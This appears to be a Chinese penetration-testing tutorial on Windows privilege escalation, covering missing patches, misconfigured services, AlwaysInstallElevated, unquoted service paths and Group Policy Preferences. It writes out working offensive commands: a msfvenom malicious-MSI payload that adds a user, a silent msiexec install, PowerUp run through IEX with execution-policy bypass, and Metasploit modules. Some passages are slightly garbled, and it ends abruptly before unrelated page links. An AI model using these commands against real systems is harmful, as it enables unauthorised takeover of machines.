内网渗透基石篇--权限提升

一、基础知识

在windows中,权限大概分为四种,分别是UserAdministratorSystemTrustedInstallerTrus

1.user:普通用户权限,是系统中最安全的权限(因为分配给改组的默认权限不允许成员操作修改操作系统的设置或用户资料)

2.Administrator:管理员权限。可以利用windows的机制将自己提升为system权限,以便操作SAm文件

3.System:系统权限。可以对sam等敏感文件进行读取,往往需要将administrator权限提升到system权限才可以对散列值进行DUmp操作

4.TrustedInstaller:window中的最高权限,对系统文件,即将拥有system权限也无法进行获取散列值、安装软件、修改防火墙规则、修改..表等

纵向提权:低权限角色获得高权限角色的权限,例如,一个webshell权限通过提权,拥有了管理员权限,这种提权就是纵向提权。

横向提权:获取同级别角色的权限。

二、系统内核溢出漏洞提权分析及防范

溢出漏洞就像往杯子里面装水— 如果水太多,杯子装不下了,就会溢出来。

系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没用及时补丁。

1. 通过手动执行命令发现缺失补丁

1.whoami/groups

2.查看目标机器的补丁 systeminfo

3.使用wmic 命令:wmic qfe get Caption,Description ,HotFixID,InstalledOn

实验1

2 .利用Metasploit发现缺失补丁

3. windows exploit suggseter

可以将已经安装的补丁和微软的漏洞数据库进行比较

并且可以帮助识别出能导致权限提升的漏洞

下载地址:

http://github.com/AonCyberLabs/Windows-Exploit-Suggester

拿到session必做的2件事,可以快速识别系统可以利用的漏洞,比如提权~

use post/windows/gather/enum_patches

use post/multi/recon/local_exploit_suggester

4 PowerShell 的sherlock脚本

三、windows 操作系统配置错误利用分析及规范

前言:在windows操作系统中,攻击者通常会通过系统内核溢出漏洞来提权,但如果碰到无法通关系统溢出漏洞提取所在服务器权限的情况,就会利用系统中的配置错误来提权。

管理员凭证配置错误

服务配置错误

故意削弱的安全措施

用户权限过高

系统服务权限配置错误

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。

windows服务是以system权限运行的,其文件夹、文件和..表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务

系统服务权限配置错误(可写目录漏洞)有如下两种可能。

1.服务未运行:攻击者会使用任意服务来替换原来的服务,然后重启服务。

2.服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用情景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权。

1.PowerUP下的实战利用

下载地址:

http://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

powershell.exe -exec bypass -Command "& {import-Module .\Powerup.ps1; Invoke-AllChecks}"

Powershell.exe -nop -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"

2.Metasploit下的实战利用

2 ..表键 ALwaysINstallElevated

允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。

windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。

在运行中输入gpedit.msc,然后以管理员方式打开:

配置「计算机配置」

配置「用户配置」

WIndows INstaller的相关知识点

通过命令查询是否开启

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

开启返回:

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1

未开启就会返回系统找不到指定的..表项或值

如果系统开启了AlwaysInstallElevated,可以使用msfvenom创建恶意msi文件,然后使用msiexec进行开火

msfvenom -f msi -p windows/adduser USER=msi PASS=Yoga123!@ -o /root/msi.msi

msiexec /quiet /qn /i d:\msi.msi
# /quiet 安装过程中禁止向用户发送消息
# /qn 不使用GUI
# /i 安装程序

或者直接使用exploit/windows/local/always_install_elevated模块提至System权限

计划任务

适用系统版本:

windows2000

windows2003

windows XP

at 是一个发布定时任务计划的命令行工具,语法比较简单。通过at命令发布的定时任务计划,Windows默认以System权限运行。定时任务可以是批处理,也可以是一个二进制文件

语法:

at 11:00PM calc.exe/interactive可以开启界面交互模式

利用Regsvr32+exploit/multi/script/web_delivery模块

3.PowrUp下的实战利用

1.powershell -nop -exec bypass IEX(New-Object

Net.WebClient).DownloadString('C:\Users\testuser\Desktop\Sherlock-master\PowerUp.ps1');Get-RegistryAlwaysInstallElevated
Get-RegistryAlwaysInstallElevatedWrite-UserAddMSI

msiexec.exe /q /i UserAdd.msi

四、 可信任服务路径漏洞

利用了windows文件路径解析的特性,如果一个服务调用的可执行文件没有正确处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。

通俗的说,如果一个服务的可执行文件的路径(带空格)没有被双引号引起来,那么这个服务就有漏洞。

一个例子,编译之后存放在为C:\Program Files\Test\test.exe

#include int main(int argc, char *argv[]){printf("[*] Executed %s\n", argv[0]);}

从命令行直接通过其绝对路径执行该程序:

$ "C:\Program Files\Test\test.exe"[*] Executed C:\Program Files\Test\test.exe$ C:\Program Files\Test\test.exe'C:\Program' 不是内部或外部命令,也不是可运行的程序或批处理文件。#test改为Program.exe之后并放入C盘下 $ C:\Program Files\Test\test.exe[*] Executed C:\Program

对于上面的空格,Windows都会尝试寻找并执行名字与空格前的名字相匹配的程序,所以不加引号的时候就会报错。此时,假如能上传一个适当命名的后门程序,那么当服务重启的时候就会以system权限运行(大多数情况下)

所以,理论上一个服务的可执行文件的路径没有用双引号封闭,且包含空格,那么就是存在漏洞的

检测是否存在漏洞

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

检查对有漏洞的目录是否具有写入权限

icacls "C:\Program Files"

使用trusted_service_path模块

Trusted Service Paths漏洞产生的原因

windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

比如:

C:\Program Files\Some Folder\Service.exe

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。

1.Metasploit下的实战利用

1.先检测目标主机是否存在该漏洞。理论上讲,如果一个服务的可执行文件的路径没有用双引号封闭,并且包含空格,那么这个服务就是有漏洞的。我们在meterpreter shell命令提示符下输入shell命令进入目标机cmd下,然后使用下列wmi查询命令来列举受害者机器上所有的没有加引号的服务路径(除去了windows本身的服务)。

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

可以看到,有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四个服务对应的二进制文件路径没有引号包含起来,并且路径中包含空格。是存在该漏洞的,但在上传可执行文件进去之前,我们需要确定我们对目标文件夹是否有写入的权限。

2.检查对有漏洞目录是否有写入的权限,这个很关键。这里我们使用Windows内建的一个工具,icacls,下面我们用这个工具依次来检查

“C:\Program Files”

“C:\Program Files\Common Files”

“C:\Program Files\Common Files\microsoft shared”

“Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。

3.我们确认了目标主机存在此漏洞后,将便开始正式攻击,Metasploit中相对应的是Windows Service Trusted Path Privilege Escalation本地利用模块,该模块会将恶意的可执行程序放到受影响的文件夹中去,然后将受影响的服务重启。接着我们输入命令background,把当前的meterpreter shell转为后台执行。然后在Metasploit中搜索trusted_service_path模块

4 自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置条件。

C:\sysprep.ing

C:sysC:sysprp.xml

C:\windows\system32\sysrep.inf

可以在metasploit中利用这个漏洞:

5. 计划任务

AccessChk用于在windows中进行一些高级查询、管理和故障排除工作。由于它是微软官方提供的工具,所以杀毒软件不会有告警。如果黑客对以高权限运行的任务,所在的目录具有写权限,那么就可以使用恶意程序覆盖原有的程序。这样,在计划任务下次执行的时候,就会以高权限运行恶意程序。

通过AccessChk查看指定目录的权限配置情况:

accesschk64.exe -dqv "C:\Microsoft" -accepteula-

6 Empire 内置模块

Empire内置了PowerUp的部分模块。输入”usermodule prives/powerup”

五、 组策略首选项提权分析及防范

sysvol是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。sysvol文件夹是在安装活动目录时自动创建的,主要用来存放登陆脚本、组策略数据、其他域控制器需要的域信息。

sysvol在所有经过身份验证的域用户、域信任用户具有读权限的活动目录的域范围内共享,整个sysvol目录在所有的域控制器中是自动同步和共享的,所有的域策略都存放在sysvol下。为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,黑客就是利用这一点。

1.常见的组策略首选项:

映射驱动器

创建本地用户

数据源

打印机配置

创建/更新服务

计划任务

2 组策略首选项提取分析

1.创建组策略,批量修改域中机器的本地管理员密码

进入「计算机配置」下的「首选项」,就可以更新一个用户啦。

计算机配置中的账户策略,也只是设置密码的复杂度、长度、过期时间等~

标签:
freebuf
FreeBuf 微信号:freebuf 扫描二维码关注公众号
优质自媒体

小编推荐

  1. 1 落造句(落叶造句)

    大家好,小伟今天来为大家解答落造句以下问题,落叶造句很多人还不知道,现在让我们一起来看看吧!1、20、雨落在小草上,看,草儿轻轻地在微

  2. 2 离家出走怎么生存(离家出走该如何生存)

    大家好,小美今天来为大家解答离家出走怎么生存以下问题,离家出走该如何生存很多人还不知道,现在让我们一起来看看吧!1、问题二:离家出走

  3. 3 怎么查公积金账户余额(苏州怎么查公积金账户余额)

    大家好,小娟今天来为大家解答怎么查公积金账户余额以下问题,苏州怎么查公积金账户余额很多人还不知道,现在让我们一起来看看吧!1、查询这

  4. 4 喜鹊寓意(喜鹊寓意)

    大家好,小美今天来为大家解答喜鹊寓意以下问题,喜鹊寓意很多人还不知道,现在让我们一起来看看吧!1、喜鹊的寓意有喜事到家、吉祥如意等,

  5. 5 就在今晚!怀化这些地方有暴雨→

    湖南省景象台估计今晚至来日湖南中南部局地有暴雨、大暴雨并伴有雷暴大风、冰雹等强对流天色湖南最新天色预告今天白日到晚上,湘西、湘南有

  6. 6 莱商银行网银助手下载(莱商银行网银助手下载官网)

    大家好,小豪今天来为大家解答莱商银行网银助手下载以下问题,莱商银行网银助手下载官网很多人还不知道,现在让我们一起来看看吧!1、首先,

  7. 7 机械制图符号大全(机械制图符号大全及含义)

    大家好,小豪今天来为大家解答机械制图符号大全以下问题,机械制图符号大全及含义很多人还不知道,现在让我们一起来看看吧!1、GB/T 4459.5-

  8. 8 什么叫ka经理ka是什么意思(ka经理具体工作流程)

    大家好,小乐今天来为大家解答什么叫ka经理ka是什么意思以下问题,ka经理具体工作流程很多人还不知道,现在让我们一起来看看吧!1、冠以KA经理

Copyright 2024 优质自媒体,让大家了解更多图文资讯!